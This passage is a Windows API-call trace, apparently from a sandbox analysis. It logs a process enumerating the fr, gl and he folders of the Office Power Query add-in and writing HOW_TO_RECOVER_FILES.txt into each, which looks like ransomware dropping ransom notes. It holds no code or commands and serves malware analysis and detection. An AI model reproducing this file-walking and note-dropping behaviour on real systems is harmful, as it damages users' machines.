ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0213.728] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.728] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bad1cb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bd3439, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0213.728] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0213.728] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0213.728] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0213.728] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0213.729] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0213.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0213.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0213.729] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0213.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0213.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\fr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\fr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0213.731] GetFileType (hFile=0x808) returned 0x1 [0213.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0213.731] GetFileType (hFile=0x808) returned 0x1 [0213.731] WriteFile (in: hFile=0x808, lpBuffer=0x35488c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x35488c0*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0213.732] CloseHandle (hObject=0x808) returned 1 [0213.732] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0213.733] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl", lpFilePart=0x0) returned 0x68 [0213.733] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0213.734] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.734] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e0a643, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0213.734] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e78ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e78ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e78ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0213.734] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x675bda6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6781ff8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0213.734] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8a040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0213.734] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.734] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0213.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0213.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0213.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0213.735] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl", lpFilePart=0x0) returned 0x68 [0213.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0213.736] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.736] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e0a643, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0213.736] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e78ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e78ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e78ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0213.737] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x675bda6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6781ff8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0213.737] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8a040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0213.737] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8a040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0213.737] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0213.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0213.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0213.738] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0213.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0213.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\gl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\gl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0213.739] GetFileType (hFile=0x808) returned 0x1 [0213.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0213.739] GetFileType (hFile=0x808) returned 0x1 [0213.740] WriteFile (in: hFile=0x808, lpBuffer=0x355c0d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x355c0d8*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0213.741] CloseHandle (hObject=0x808) returned 1 [0213.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0213.741] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he", lpFilePart=0x0) returned 0x68 [0213.741] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0213.946] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.946] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0213.947] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c8cf9c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c8cf9c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0213.947] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41f3e26, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41f3e26, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x37aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0213.947] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x98040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0213.947] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.947] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0213.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0213.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0213.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0213.948] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he", lpFilePart=0x0) returned 0x68 [0213.948] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\he\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0213.949] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.949] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0213.949] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c8cf9c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c8cf9c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0213.949] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41f3e26, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41f3e26, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x37aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0213.949] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x98040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0213.950] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x98040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0213.950] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0213.950] 